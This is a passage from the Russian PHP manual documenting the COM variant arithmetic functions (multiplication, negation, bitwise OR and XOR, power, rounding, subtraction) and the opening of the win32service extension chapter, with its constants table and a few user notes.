Как и со всеми вариантными арифметическими функциями, параметры этой функции могут быть как родными PHP типами (integer, string, floating point, boolean или null), так и экземплярами классов COM, VARIANT или DOTNET. Родные PHP типы будут преобразованы в варианты (variants) по тем же самым правилам, что и в конструкторе класса variant. У объектов COM и DOTNET будет взято и использовано их значение по умолчанию в качестве значения варианта.

Вариантные арифметические функции являются обёртками вокруг одноимённых функций в библиотеке COM; для более подробной информации по этим функциям проконсультируйтесь с библиотекой MSDN. Названия PHP-функций немного отличаются; например, variant_add() в PHP соответствует VarAdd() в документации MSDN.

Возвращаемые значения

Правила умножения вариантов
Если | То
Оба варианта строки, даты, символы, логические | Умножение
Один вариант - строка, а другой - символ | Умножение
Один вариант - число, второй - строка | Умножение
Оба варианта - числа | Умножение
Один из вариантов - NULL | Вернёт NULL
Оба выражения пусты | Вернёт пустую строку

Ошибки

Выбрасывает исключение com_exception в случае возникновения ошибки.

Смотрите также

  • variant_div() - Получить результат деления двух вариантов
  • variant_idiv() - Делит преобразованные в целые числа варианты

User Contributed Notes

There are no user contributed notes for this page.


Логическое отрицание над вариантом

  • « variant_mul
  • variant_not »
  • PHP Manual
  • Функции COM
  • Логическое отрицание над вариантом

variant_neg

(PHP 5, PHP 7, PHP 8)

variant_neg — Логическое отрицание над вариантом

Описание

variant_neg(mixed $value): variant

Производит логическое отрицание над value.

Список параметров

value

Вариант.

Замечание:

Как и со всеми вариантными арифметическими функциями, параметры этой функции могут быть как родными PHP типами (integer, string, floating point, boolean или null), так и экземплярами классов COM, VARIANT или DOTNET. Родные PHP типы будут преобразованы в варианты (variants) по тем же самым правилам, что и в конструкторе класса variant. У объектов COM и DOTNET будет взято и использовано их значение по умолчанию в качестве значения варианта.

Вариантные арифметические функции являются обёртками вокруг одноимённых функций в библиотеке COM; для более подробной информации по этим функциям проконсультируйтесь с библиотекой MSDN. Названия PHP-функций немного отличаются; например, variant_add() в PHP соответствует VarAdd() в документации MSDN.

Возвращаемые значения

Возвращает результат логического отрицания.

Ошибки

Метод выбрасывает исключение com_exception, если возникла ошибка.

User Contributed Notes

There are no user contributed notes for this page.


Выполняет побитовое отрицание над вариантом

  • « variant_neg
  • variant_or »
  • PHP Manual
  • Функции COM
  • Выполняет побитовое отрицание над вариантом

variant_not

(PHP 5, PHP 7, PHP 8)

variant_not — Выполняет побитовое отрицание над вариантом

Описание

variant_not(mixed $value): variant

Функция выполняет побитовое отрицание над значением value и возвращает значение, которое получилось.

Список параметров

value

Вариант.

Замечание:

Как и со всеми вариантными арифметическими функциями, параметры этой функции могут быть как родными PHP типами (integer, string, floating point, boolean или null), так и экземплярами классов COM, VARIANT или DOTNET. Родные PHP типы будут преобразованы в варианты (variants) по тем же самым правилам, что и в конструкторе класса variant. У объектов COM и DOTNET будет взято и использовано их значение по умолчанию в качестве значения варианта.

Вариантные арифметические функции являются обёртками вокруг одноимённых функций в библиотеке COM; для более подробной информации по этим функциям проконсультируйтесь с библиотекой MSDN. Названия PHP-функций немного отличаются; например, variant_add() в PHP соответствует VarAdd() в документации MSDN.

Возвращаемые значения

Функция возвращает результат побитового отрицания. Если значение value равно null, то результат также будет равен null.

Ошибки

Функция выбрасывает исключение com_exception, если возникла ошибка.

User Contributed Notes

There are no user contributed notes for this page.


Побитовое ИЛИ над двумя вариантами

  • « variant_not
  • variant_pow »
  • PHP Manual
  • Функции COM
  • Побитовое ИЛИ над двумя вариантами

variant_or

(PHP 5, PHP 7, PHP 8)

variant_or — Побитовое ИЛИ над двумя вариантами

Описание

variant_or(mixed $left, mixed $right): variant

Побитовое ИЛИ над двумя вариантами. Обратите внимание, что функция немного отличается от обычной операции ИЛИ.

Список параметров

left

Левый операнд.

right

Правый операнд.

Замечание:

Как и со всеми вариантными арифметическими функциями, параметры этой функции могут быть как родными PHP типами (integer, string, floating point, boolean или null), так и экземплярами классов COM, VARIANT или DOTNET. Родные PHP типы будут преобразованы в варианты (variants) по тем же самым правилам, что и в конструкторе класса variant. У объектов COM и DOTNET будет взято и использовано их значение по умолчанию в качестве значения варианта.

Вариантные арифметические функции являются обёртками вокруг одноимённых функций в библиотеке COM; для более подробной информации по этим функциям проконсультируйтесь с библиотекой MSDN. Названия PHP-функций немного отличаются; например, variant_add() в PHP соответствует VarAdd() в документации MSDN.

Возвращаемые значения

Правила побитового ИЛИ над вариантами
Если left | Если right | Тогда результат
true | true | true
true | false | true
true | null | true
false | true | true
false | false | false
false | null | null
null | true | true
null | false | null
null | null | null

Ошибки

Выбрасывает исключение com_exception в случае возникновения ошибки.

Смотрите также

  • variant_and() - Побитовое И над двумя вариантами
  • variant_xor() - Исключающее ИЛИ над двумя вариантами

User Contributed Notes

There are no user contributed notes for this page.


Возводит один вариант в степень, заданную во втором

  • « variant_or
  • variant_round »
  • PHP Manual
  • Функции COM
  • Возводит один вариант в степень, заданную во втором

variant_pow

(PHP 5, PHP 7, PHP 8)

variant_pow — Возводит один вариант в степень, заданную во втором

Описание

variant_pow(mixed $left, mixed $right): variant

Возвращает результат возведения left в степень right.

Список параметров

left

Левый операнд.

right

Правый операнд (степень).

Замечание:

Как и со всеми вариантными арифметическими функциями, параметры этой функции могут быть как родными PHP типами (integer, string, floating point, boolean или null), так и экземплярами классов COM, VARIANT или DOTNET. Родные PHP типы будут преобразованы в варианты (variants) по тем же самым правилам, что и в конструкторе класса variant. У объектов COM и DOTNET будет взято и использовано их значение по умолчанию в качестве значения варианта.

Вариантные арифметические функции являются обёртками вокруг одноимённых функций в библиотеке COM; для более подробной информации по этим функциям проконсультируйтесь с библиотекой MSDN. Названия PHP-функций немного отличаются; например, variant_add() в PHP соответствует VarAdd() в документации MSDN.

Возвращаемые значения

Возвращает результат возведения left в степень right.

Ошибки

Выбрасывает исключение com_exception в случае возникновения ошибки.

Смотрите также

  • pow() - Возводит в степень

User Contributed Notes

There are no user contributed notes for this page.


Округляет вариант с заданной точностью

  • « variant_pow
  • variant_set_type »
  • PHP Manual
  • Функции COM
  • Округляет вариант с заданной точностью

variant_round

(PHP 5, PHP 7, PHP 8)

variant_round — Округляет вариант с заданной точностью

Описание

variant_round(mixed $value, int $decimals): ?variant

Возвращает значение value, округлённое до decimals десятичных знаков.

Список параметров

value

Вариант.

decimals

Точность.

Замечание:

Как и со всеми вариантными арифметическими функциями, параметры этой функции могут быть как родными PHP типами (integer, string, floating point, boolean или null), так и экземплярами классов COM, VARIANT или DOTNET. Родные PHP типы будут преобразованы в варианты (variants) по тем же самым правилам, что и в конструкторе класса variant. У объектов COM и DOTNET будет взято и использовано их значение по умолчанию в качестве значения варианта.

Вариантные арифметические функции являются обёртками вокруг одноимённых функций в библиотеке COM; для более подробной информации по этим функциям проконсультируйтесь с библиотекой MSDN. Названия PHP-функций немного отличаются; например, variant_add() в PHP соответствует VarAdd() в документации MSDN.

Возвращаемые значения

Округлённое значение или null в случае возникновения ошибки.

Смотрите также

  • round() - Округляет число с плавающей точкой (float)

User Contributed Notes

There are no user contributed notes for this page.


Приводит вариант к другому типу «по месту»

  • « variant_round
  • variant_set »
  • PHP Manual
  • Функции COM
  • Приводит вариант к другому типу «по месту»

variant_set_type

(PHP 5, PHP 7, PHP 8)

variant_set_type — Приводит вариант к другому типу «по месту»

Описание

variant_set_type(variant $variant, int $type): void

Функция аналогична функции variant_cast() за исключением того, что изменяется сам вариант, а не создаётся новый. Передаваемые функции параметры идентичны параметрам функции variant_cast().

Список параметров

variant

Вариант.

type

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • variant_cast() - Преобразовывает вариант в новый вариант другого типа
  • variant_get_type() - Получить тип варианта

User Contributed Notes

martin at itmission dot com 22-May-2009 10:55
In my application I was using ADODB to retrieve data from Microsoft Access.  During queries, fields defined as "Date/Time" in Access were being returned to PHP as instances of the Variant class.

For some reason, the variant_date_to_timestamp function returned incorrect timestamps.  As a workaround, I used variant_set_type($variant, VT_BSTR) to get a string representation of the date.  This can be used for most variant types PHP doesn't handle.


Присвоение нового значения объекту варианта

  • « variant_set_type
  • variant_sub »
  • PHP Manual
  • Функции COM
  • Присвоение нового значения объекту варианта

variant_set

(PHP 5, PHP 7, PHP 8)

variant_set — Присвоение нового значения объекту варианта

Описание

variant_set(variant $variant, mixed $value): void

Преобразовывает значение параметра value в вариант и присваивает его объекту variant; при этом новый объект не создаётся и старое значение объекта variant пропадает.

Список параметров

variant

Вариант.

value

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Вычитает значение правого варианта из левого

  • « variant_set
  • variant_xor »
  • PHP Manual
  • Функции COM
  • Вычитает значение правого варианта из левого

variant_sub

(PHP 5, PHP 7, PHP 8)

variant_sub — Вычитает значение правого варианта из левого

Описание

variant_sub(mixed $left, mixed $right): variant

Вычитает right из left.

Список параметров

left

Левый операнд.

right

Правый операнд.

Замечание:

Как и со всеми вариантными арифметическими функциями, параметры этой функции могут быть как родными PHP типами (integer, string, floating point, boolean или null), так и экземплярами классов COM, VARIANT или DOTNET. Родные PHP типы будут преобразованы в варианты (variants) по тем же самым правилам, что и в конструкторе класса variant. У объектов COM и DOTNET будет взято и использовано их значение по умолчанию в качестве значения варианта.

Вариантные арифметические функции являются обёртками вокруг одноимённых функций в библиотеке COM; для более подробной информации по этим функциям проконсультируйтесь с библиотекой MSDN. Названия PHP-функций немного отличаются; например, variant_add() в PHP соответствует VarAdd() в документации MSDN.

Возвращаемые значения

Правила вычитания вариантов
Если | То
Оба выражения являются строками | Вычитание
Одно выражение является строкой, а второе символом | Вычитание
Одно выражение является числом, а второе строкой | Вычитание
Оба выражения являются числами | Вычитание
Одно из выражений равно NULL | Возвратит NULL
Оба выражения пусты | Возвратит пустую строку

Ошибки

Выбрасывает исключение com_exception в случае возникновения ошибки.

Смотрите также

  • variant_add() - Сложить значения двух вариантов

User Contributed Notes

There are no user contributed notes for this page.


Исключающее ИЛИ над двумя вариантами

  • « variant_sub
  • win32service »
  • PHP Manual
  • Функции COM
  • Исключающее ИЛИ над двумя вариантами

variant_xor

(PHP 5, PHP 7, PHP 8)

variant_xor — Исключающее ИЛИ над двумя вариантами

Описание

variant_xor(mixed $left, mixed $right): variant

Выполнение исключающего ИЛИ.

Список параметров

left

Левый операнд.

right

Правый операнд.

Замечание:

Как и со всеми вариантными арифметическими функциями, параметры этой функции могут быть как родными PHP типами (integer, string, floating point, boolean или null), так и экземплярами классов COM, VARIANT или DOTNET. Родные PHP типы будут преобразованы в варианты (variants) по тем же самым правилам, что и в конструкторе класса variant. У объектов COM и DOTNET будет взято и использовано их значение по умолчанию в качестве значения варианта.

Вариантные арифметические функции являются обёртками вокруг одноимённых функций в библиотеке COM; для более подробной информации по этим функциям проконсультируйтесь с библиотекой MSDN. Названия PHP-функций немного отличаются; например, variant_add() в PHP соответствует VarAdd() в документации MSDN.

Возвращаемые значения

Правила выполнения исключающего ИЛИ
Если left | Если right | Тогда результат
true | true | false
true | false | true
false | true | true
false | false | false
null | null | null

Ошибки

Выбрасывает исключение com_exception в случае возникновения ошибки.

Смотрите также

  • variant_or() - Побитовое ИЛИ над двумя вариантами
  • variant_and() - Побитовое И над двумя вариантами

User Contributed Notes

tinelbarb at yahoo dot com 30-Aug-2010 12:21
I've been using a lot the VARIANT_XOR function (all the VARIANT functions ar cool) and I was faceing the problem that some custom copilation of PHP, especially LAMP packs, doesn't have the VARANT functions included, so the scripts halts.
I had to find an alternative for those who doesn't have an implamentation of VARIANT_XOR.
I'd love if somebody improve my "A_XOR_B" function by changing the name in "VARIANT_XOR" and to run the original VARIANT_XOR function (being optimized) if it is already in the PHP compilation, else run the custom XOR code.

<?php
function a_xor_b($a=0, $b=0) {
    return ( ($a!=$b) && ($a||$b) ) ? TRUE : FALSE ;
}
?>

If using this function, make sure you use the same type for arguments ;-)

Here is a sample code using it:

<?php
if ( a_xor_b(strlen($column1)>0,strlen($column2)>0) ) {
  $add_and='';
}
if ( !a_xor_b(strlen($column1)>0,strlen($column2)>0 ) && strlen($column1)>0 ) {
  $add_and=' and ';
}
$some_sql_filter=$query_str.' having '.$column1.$add_and.$column2;
?>

The use of VARIANT_XOR was identical.

@PHP TEAM: the VARIANT set is so great :-)
tinelbarb at yahoo dot com 30-Aug-2010 12:20
I've been using a lot the VARIANT_XOR function (all the VARIANT functions ar cool) and I was faceing the problem that some custom copilation of PHP, especially LAMP packs, doesn't have the VARANT functions included, so the scripts halts.
I had to find an alternative for those who doesn't have an implamentation of VARIANT_XOR.
I'd love if somebody improve my "A_XOR_B" function by changing the name in "VARIANT_XOR" and to run the original VARIANT_XOR function (being optimized) if it is already in the PHP compilation, else run the custom XOR code.

<?php
function a_xor_b($a=0, $b=0) {
    return ( ($a!=$b) && ($a||$b) ) ? TRUE : FALSE ;
}
?>

If using this function, make sure you use the same type for arguments ;-)

Here is a sample code using it:

<?php
if ( a_xor_b(strlen($column1)>0,strlen($column2)>0) ) {
  $add_and='';
}
if ( !a_xor_b(strlen($column1)>0,strlen($column2)>0 ) && strlen($column1)>0 ) {
  $add_and=' and ';
}
$some_sql_filter=$query_str.' having '.$column1.$add_and.$column2;
?>

The use of VARIANT_XOR was identical.

@PHP TEAM: the VARIANT set is so great :-)
tinelbarb at yahoo dot com dot RE-MO-VE dot ME 30-Aug-2010 12:20
I've been using a lot the VARIANT_XOR function (all the VARIANT functions ar cool) and I was faceing the problem that some custom copilation of PHP, especially LAMP packs, doesn't have the VARANT functions included, so the scripts halts.
I had to find an alternative for those who doesn't have an implamentation of VARIANT_XOR.
I'd love if somebody improve my "A_XOR_B" function by changing the name in "VARIANT_XOR" and to run the original VARIANT_XOR function (being optimized) if it is already in the PHP compilation, else run the custom XOR code.

<?php
function a_xor_b($a=0, $b=0) {
    return ( ($a!=$b) && ($a||$b) ) ? TRUE : FALSE ;
}
?>

If using this function, make sure you use the same type for arguments ;-)

Here is a sample code using it:

<?php
if ( a_xor_b(strlen($column1)>0,strlen($column2)>0) ) {
  $add_and='';
}
if ( !a_xor_b(strlen($column1)>0,strlen($column2)>0 ) && strlen($column1)>0 ) {
  $add_and=' and ';
}
$some_sql_filter=$query_str.' having '.$column1.$add_and.$column2;
?>

The use of VARIANT_XOR was identical.

@PHP TEAM: the VARIANT set is so great :-)


win32service

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
    • Вопросы безопасности
  • Предопределённые константы
  • Win32ServiceException — Класс Win32ServiceException
  • Примеры
  • win32service
    • win32_continue_service — Возобновляет работу приостановленной службы
    • win32_create_service — Создаёт новую запись службы в базе данных SCM
    • win32_delete_service — Удаляет запись службы из базы данных SCM
    • win32_get_last_control_message — Возвращает последнее управляющее сообщение, которое было отправлено этой службе
    • win32_pause_service — Приостанавливает службу
    • win32_query_service_status — Запрашивает статус сервиса
    • win32_send_custom_control — Отправляет настраиваемый элемент управления в службу
    • win32_set_service_exit_code — Определяет или возвращает код выхода для текущей запущенной службы
    • win32_set_service_exit_mode — Определяет или возвращает режим выхода для текущей запущенной службы
    • win32_set_service_status — Обновляет статус службы
    • win32_start_service_ctrl_dispatcher — Добавляет в Диспетчер Служб скрипт, который может быть использован, как служба с заданным именем
    • win32_start_service — Запускает службу
    • win32_stop_service — Останавливает службу

User Contributed Notes

jbnahan at php dot net 12-Jun-2019 11:45
The version 0.4 allow now to send and receive a custom control code.


Введение

Модуль win32service - это специальное модуль Windows, который позволяет PHP взаимодействовать с диспетчером управления службами для запуска, остановки, добавления и удаления служб, и даже запускать ваши PHP-скрипты как службы.

User Contributed Notes

There are no user contributed notes for this page.


Установка и настройка

Содержание

  • Требования
  • Установка
  • Настройка во время выполнения
  • Типы ресурсов
  • Вопросы безопасности

User Contributed Notes

There are no user contributed notes for this page.


Требования

Поддерживаемые версии Windows такие же, как и в распространяемом пакете Visual C++, используемом для сборки PHP.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Информацию об установке этого PECL-модуля даёт глава руководства «Установка PECL-модулей». Дополнительная информация о новых версиях, скачивании, исходных файлах, о разработчике и журнале изменений доступна по ссылке: » https://pecl.php.net/package/win32service

User Contributed Notes

alphp 10-Jan-2017 03:08
Para actualizar esta extension a PHP-7 se esta trabajando en https://github.com/win32service/win32service
Ya ha disponibles algunos binarios para poder probar.

To update this extension to PHP-7 is working at https://github.com/win32service/win32service
Some binaries have already been available for testing.


Вопросы безопасности

Этому модулю необходимы права администратора для совершения таких действий как: create, delete, start, stop, pause и continue. Это требование может вызвать повышение привилегий, если управление службами доступно через веб-интерфейс или удалённое управление.

Вы можете установить ACL для сервиса после его добавления в SCM для делегирования административных задач не администраторскому аккаунту, либо аккаунту сервиса. Более подробно читайте в » Microsoft Knowledge Base.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Модуль определяет перечисленные ниже константы и открывает к ним доступ только тогда, когда модуль либо собрали в PHP, либо динамически загрузили во время исполнения кода.

Битовые маски типа службы Win32Service
Константа | Значение | Описание
WIN32_SERVICE_WIN32_OWN_PROCESS | 0x00000010 | Служба работает в своём собственном процессе.
WIN32_SERVICE_INTERACTIVE_PROCESS | 0x00000100 | Служба может взаимодействовать с рабочим столом. Эта опция недоступна в Windows Vista и более поздних.
WIN32_SERVICE_WIN32_OWN_PROCESS_INTERACTIVE | 0x00000110 | Служба работает в своём собственном процессе и может взаимодействовать с рабочим столом. Эта опция недоступна в Windows Vista и более поздних.
Константы статуса службы Win32Service
Константа | Значение | Описание
WIN32_SERVICE_CONTINUE_PENDING | 0x00000005 | Служба в ожидании выхода из состояния паузы.
WIN32_SERVICE_PAUSE_PENDING | 0x00000006 | Служба ожидает перехода в состояние паузы.
WIN32_SERVICE_PAUSED | 0x00000007 | Служба в состоянии паузы.
WIN32_SERVICE_RUNNING | 0x00000004 | Служба запущена.
WIN32_SERVICE_START_PENDING | 0x00000002 | Служба стартует.
WIN32_SERVICE_STOP_PENDING | 0x00000003 | Служба останавливается.
WIN32_SERVICE_STOPPED | 0x00000001 | Служба не запущена.
Константы обработки сообщений службой Win32Service
Константа | Значение | Описание
WIN32_SERVICE_CONTROL_CONTINUE | 0x00000003 | Оповещает службу, что надо выйти из состояния паузы.
WIN32_SERVICE_CONTROL_DEVICEEVENT | 0x0000000B |
WIN32_SERVICE_CONTROL_HARDWAREPROFILECHANGE | 0x0000000C |
WIN32_SERVICE_CONTROL_INTERROGATE | 0x00000004 | Оповещает службу, что надо послать информацию по её текущему статусу в менеджер служб.
WIN32_SERVICE_CONTROL_NETBINDADD | 0x00000007 | Уведомляет сетевую службу о наличии нового компонента для привязки.
WIN32_SERVICE_CONTROL_NETBINDDISABLE | 0x0000000A | Уведомляет сетевую службу о том, что одна из её привязок отключена.
WIN32_SERVICE_CONTROL_NETBINDENABLE | 0x00000009 | Уведомляет сетевую службу о том, что отключённая привязка включена.
WIN32_SERVICE_CONTROL_NETBINDREMOVE | 0x00000008 | Уведомляет сетевую службу о том, что компонент для привязки был удалён.
WIN32_SERVICE_CONTROL_PARAMCHANGE | 0x00000006 | Уведомляет службу о том, что её стартовые параметры изменились.
WIN32_SERVICE_CONTROL_PAUSE | 0x00000002 | Оповещает службу, что надо перейти в режим паузы.
WIN32_SERVICE_CONTROL_POWEREVENT | 0x0000000D |
WIN32_SERVICE_CONTROL_PRESHUTDOWN | 0x0000000F | Оповещает службу, что система останавливается. Служба, обрабатывающая такое сообщение, блокирует остановку системы до момента остановки службы, либо до превышения времени ожидания. Это значение не поддерживается Windows Server 2003 и Windows XP/2000.
WIN32_SERVICE_CONTROL_SESSIONCHANGE | 0x0000000E |
WIN32_SERVICE_CONTROL_SHUTDOWN | 0x00000005 | Оповещает службу, что система останавливается и службе необходимо произвести корректную остановку. Служба, которая принимает такое сообщение должна корректно завершить свои процессы. После того, как менеджер служб послал такое сообщение, больше никаких других сообщений он посылать службе не будет.
WIN32_SERVICE_CONTROL_STOP | 0x00000001 | Оповещает службу, что надо остановиться.
Принимаемые битовые маски обработки сообщений службой Win32Service
Константа | Значение | Описание
WIN32_SERVICE_ACCEPT_HARDWAREPROFILECHANGE | 0x00000020 | Сервис уведомлен о том, что аппаратная конфигурация компьютера изменена. Это разрешает системе послать службе уведомление WIN32_SERVICE_CONTROL_HARDWAREPROFILECHANGE.
WIN32_SERVICE_ACCEPT_NETBINDCHANGE | 0x00000010 | Служба - это сетевой компонент, который принимает изменения в своей привязке без необходимости остановки и перезапуска. Этот управляющий флаг разрешает службе принимать следующие уведомления: WIN32_SERVICE_CONTROL_NETBINDADD, WIN32_SERVICE_CONTROL_NETBINDREMOVE, WIN32_SERVICE_CONTROL_NETBINDENABLE и WIN32_SERVICE_CONTROL_NETBINDDISABLE.
WIN32_SERVICE_ACCEPT_PARAMCHANGE | 0x00000008 | Служба может перечитать стартовые параметры без необходимости остановки и перезапуска. Этот управляющий флаг разрешает службе принимать следующие уведомления: WIN32_SERVICE_CONTROL_PARAMCHANGE.
WIN32_SERVICE_ACCEPT_PAUSE_CONTINUE | 0x00000002 | Служба может быть приостановлена и продолжена. Этот код позволяет службе принимать сообщения WIN32_SERVICE_CONTROL_PAUSE и WIN32_SERVICE_CONTROL_CONTINUE.
WIN32_SERVICE_ACCEPT_POWEREVENT | 0x00000040 | Служба оповещается, когда изменился статус электроснабжения. Позволяет системе посылать службе уведомление WIN32_SERVICE_CONTROL_POWEREVENT.
WIN32_SERVICE_ACCEPT_PRESHUTDOWN | 0x00000100 | Служба может выполнять задачи при остановке системы. Этот код позволяет службе принимать сообщения WIN32_SERVICE_CONTROL_PRESHUTDOWN. Это значение не поддерживается Windows Server 2003 и Windows XP/2000.
WIN32_SERVICE_ACCEPT_SESSIONCHANGE | 0x00000080 | Сервис оповещается когда изменился статус сессии на компьютере. Позволяет системе посылать службе уведомление WIN32_SERVICE_CONTROL_SESSIONCHANGE. Не поддерживается в Windows 2000
WIN32_SERVICE_ACCEPT_SHUTDOWN | 0x00000004 | Служба должна быть оповещена, что система останавливается. Этот код позволяет службе принимать сообщения WIN32_SERVICE_CONTROL_SHUTDOWN.
WIN32_SERVICE_ACCEPT_STOP | 0x00000001 | Эта служба может быть остановлена. Этот код позволяет службе принимать сообщения WIN32_SERVICE_CONTROL_STOP.
WIN32_SERVICE_ACCEPT_TIMECHANGE | 0x00000200 | Служба оповещается, когда изменилось системное время. Позволяет системе посылать службе оповещение WIN32_SERVICE_CONTROL_TIMECHANGE. В Windows Server 2008, Windows Vista, Windows Server 2003, и Windows XP/2000 этот управляющий код не используется.
WIN32_SERVICE_ACCEPT_TRIGGEREVENT | 0x00000400 | Служба уведомляется, когда происходит событие, для которого она зарегистрирована. Позволяет системе посылать службе оповещение WIN32_SERVICE_CONTROL_TRIGGEREVENT. В Windows Server 2008, Windows Vista, Windows Server 2003, и Windows XP/2000 этот управляющий код не используется.
Константы типа запуска службы Win32Service
Константа | Значение | Описание
WIN32_SERVICE_BOOT_START | 0x00000000 | Драйвер устройства запускается системным загрузчиком. Это значение корректно только для служб драйверов.
WIN32_SERVICE_SYSTEM_START | 0x00000001 | Драйвер устройства запускается функцией IoInitSystem. Это значение корректно только для служб драйверов.
WIN32_SERVICE_AUTO_START | 0x00000002 | Служба запускается автоматически при запуске системы.
WIN32_SERVICE_DEMAND_START | 0x00000003 | Сервис стартует автоматически, если какой-либо процесс вызвал функцию StartService.
WIN32_SERVICE_DISABLED | 0x00000004 | Сервис не может быть запущен. Попытка его старта вызовет ошибку WIN32_ERROR_SERVICE_DISABLED.
Константы контроля ошибок сервиса Win32Service
Константа | Значение | Описание
WIN32_SERVICE_ERROR_IGNORE | 0x00000000 | Запускающаяся программа игнорирует ошибки и продолжает запускаться.
WIN32_SERVICE_ERROR_NORMAL | 0x00000001 | Запускающаяся программа записывает ошибку в журнал ошибок, но продолжает запускаться.
WIN32_SERVICE_ERROR_SEVERE | 0x00000002 | Записывать ошибки старта программы в журнал событий. Если запускается последняя известная хорошая конфигурация, то процесс запуска продолжится. В противном случае система перезапустится с последней известной хорошей конфигурацией.
WIN32_SERVICE_ERROR_CRITICAL | 0x00000003 | Записывать ошибки старта программы в лог событий, если возможно. Если запускается последняя известная хорошая конфигурация, то процесс запуска прекратится. В противном случае система перезапустится с последней известной хорошей конфигурацией.
Константы флагов сервиса Win32Service
Константа | Значение | Описание
WIN32_SERVICE_RUNS_IN_SYSTEM_PROCESS | 0x00000001 | Служба выполняется в системном процессе, который всегда должен быть запущен.

Замечание:

С Win32Service 1.0.0 эти константы больше не используются.

Коды ошибок Win32
Константа | Значение | Описание
WIN32_ERROR_ACCESS_DENIED | 0x00000005 | Обработчик к базе данных SCM не имеет нужных прав доступа.
WIN32_ERROR_CIRCULAR_DEPENDENCY | 0x00000423 | Задана взаимная зависимость служб.
WIN32_ERROR_DATABASE_DOES_NOT_EXIST | 0x00000429 | Указанная база данных отсутствует.
WIN32_ERROR_DEPENDENT_SERVICES_RUNNING | 0x0000041B | Службу нельзя остановить, поскольку от неё зависит другая запущенная служба.
WIN32_ERROR_DUPLICATE_SERVICE_NAME | 0x00000436 | Отображаемое имя уже существует в базе данных диспетчера служб либо в качестве имени службы или как другое отображаемое имя.
WIN32_ERROR_FAILED_SERVICE_CONTROLLER_CONNECT | 0x00000427 | Эта ошибка возвращается, если программа запускается как консольное приложение, а не в качестве службы. Если программа выполняется, как консольное приложение в целях отладки, структурируйте её таким образом, чтобы код, специфичный для служб, не вызывался.
WIN32_ERROR_INSUFFICIENT_BUFFER | 0x0000007A | Буфер слишком мал для структуры состояния службы. В структуру не будет ничего записано.
WIN32_ERROR_INVALID_DATA | 0x0000000D | Указана некорректная структура состояния службы.
WIN32_ERROR_INVALID_HANDLE | 0x00000006 | Обработчик для указанной базы данных диспетчера управления службами недействителен.
WIN32_ERROR_INVALID_LEVEL | 0x0000007C | Параметр InfoLevel содержит неподдерживаемое значение.
WIN32_ERROR_INVALID_NAME | 0x0000007B | Указанное имя службы некорректно.
WIN32_ERROR_INVALID_PARAMETER | 0x00000057 | Указанный параметр некорректен.
WIN32_ERROR_INVALID_SERVICE_ACCOUNT | 0x00000421 | Имя аккаунта пользователя, указанное в user отсутствует. Смотрите win32_create_service().
WIN32_ERROR_INVALID_SERVICE_CONTROL | 0x0000041C | Запрошенный контрольный код является недействительным, или неприемлемым для службы.
WIN32_ERROR_PATH_NOT_FOUND | 0x00000003 | Исполняемый файл службы не найден.
WIN32_ERROR_SERVICE_ALREADY_RUNNING | 0x00000420 | Экземпляр службы уже запущен.
WIN32_ERROR_SERVICE_CANNOT_ACCEPT_CTRL | 0x00000425 | Запрошенный управляющий код не может быть послан службе, поскольку её статус WIN32_SERVICE_STOPPED, WIN32_SERVICE_START_PENDING, или WIN32_SERVICE_STOP_PENDING.
WIN32_ERROR_SERVICE_DATABASE_LOCKED | 0x0000041F | База данных заблокирована.
WIN32_ERROR_SERVICE_DEPENDENCY_DELETED | 0x00000433 | Служба зависит от службы которой нет, либо которая отмечена для удаления.
WIN32_ERROR_SERVICE_DEPENDENCY_FAIL | 0x0000042C | Служба зависит от другой службы, которая не может запуститься.
WIN32_ERROR_SERVICE_DISABLED | 0x00000422 | Служба запрещена.
WIN32_ERROR_SERVICE_DOES_NOT_EXIST | 0x00000424 | Указанная служба не установлена.
WIN32_ERROR_SERVICE_EXISTS | 0x00000431 | Указанная служба уже есть в базе данных.
WIN32_ERROR_SERVICE_LOGON_FAILED | 0x0000042D | Служба не может запустится из-за проблем авторизации. Такая ошибка случается, если служба настроена на запуск под учётной записью, у которой нет прав запускаться как службе (Log on as a service).
WIN32_ERROR_SERVICE_MARKED_FOR_DELETE | 0x00000430 | Указанная служба уже помечена для удаления.
WIN32_ERROR_SERVICE_NO_THREAD | 0x0000041E | Для данной службы не может быть создан поток.
WIN32_ERROR_SERVICE_NOT_ACTIVE | 0x00000426 | Служба не запущена.
WIN32_ERROR_SERVICE_REQUEST_TIMEOUT | 0x0000041D | Процесс службы стартован, но он не вызывал StartServiceCtrlDispatcher, либо поток, вызывавший StartServiceCtrlDispatcher заблокирован функцией управляющей обработкой.
WIN32_ERROR_SHUTDOWN_IN_PROGRESS | 0x0000045B | Система останавливается; эта функция не может быть вызвана.
WIN32_ERROR_SERVICE_SPECIFIC_ERROR | 0x0000042A | Служба вернула собственный код ошибки.
WIN32_NO_ERROR | 0x00000000 | Нет ошибок.
Базовые классы приоритетов Win32
Константа | Значение | Описание
WIN32_ABOVE_NORMAL_PRIORITY_CLASS | 0x00008000 | Процесс имеет приоритет выше WIN32_NORMAL_PRIORITY_CLASS, но ниже WIN32_HIGH_PRIORITY_CLASS.
WIN32_BELOW_NORMAL_PRIORITY_CLASS | 0x00004000 | Процесс имеет приоритет выше WIN32_IDLE_PRIORITY_CLASS, но ниже WIN32_NORMAL_PRIORITY_CLASS.
WIN32_HIGH_PRIORITY_CLASS | 0x00000080 | Процесс выполняет критичную по времени задачу и должен быть запущен немедленно. Потоки этого процесса опережают потоки обычных и ожидающих процессов. К примеру "Диспетчер Задач", который должен откликаться настолько быстро, как только возможно. Будьте крайне осторожны с этим приоритетом, поскольку приложения его использующие могут исчерпать почти все процессорные ресурсы.
WIN32_IDLE_PRIORITY_CLASS | 0x00000040 | Процессы, чьи потоки работают только когда система находится в ожидании. Потоки этих процессов уступают потокам всех остальных процессов, запущенных с более высоким приоритетом. К примеру "Хранитель Экрана". Этот уровень приоритета наследуется всеми потомками процесса.
WIN32_NORMAL_PRIORITY_CLASS | 0x00000020 | Процесс без каких-либо особых потребностей в приоритизации
